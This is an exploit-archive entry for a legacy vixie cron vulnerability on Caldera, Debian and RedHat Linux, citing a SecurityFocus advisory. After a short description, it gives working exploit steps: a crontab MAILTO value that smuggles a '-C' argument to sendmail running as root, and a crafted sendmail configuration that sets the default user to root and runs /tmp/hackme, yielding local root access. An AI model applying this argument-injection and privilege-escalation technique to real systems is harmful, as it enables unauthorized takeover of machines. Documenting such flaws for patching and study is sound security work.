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1.1 KiB
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Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability
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source: https://www.securityfocus.com/bid/611/info
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Failure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user.
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The cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access.
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Set the user's crontab to
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MAILTO=" -C/tmp/myexploitsendmail.cf"
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* * * * * ls
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In /tmp/myexploitsendmail.cf you basically modify the local mailer:
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O DefaultUser=root:root
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Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,
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R=20/40,
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T=DNS/RFC822/X-Unix,
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A=mail.local -l
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i.e. remove the S flag, and set DefaultUser. |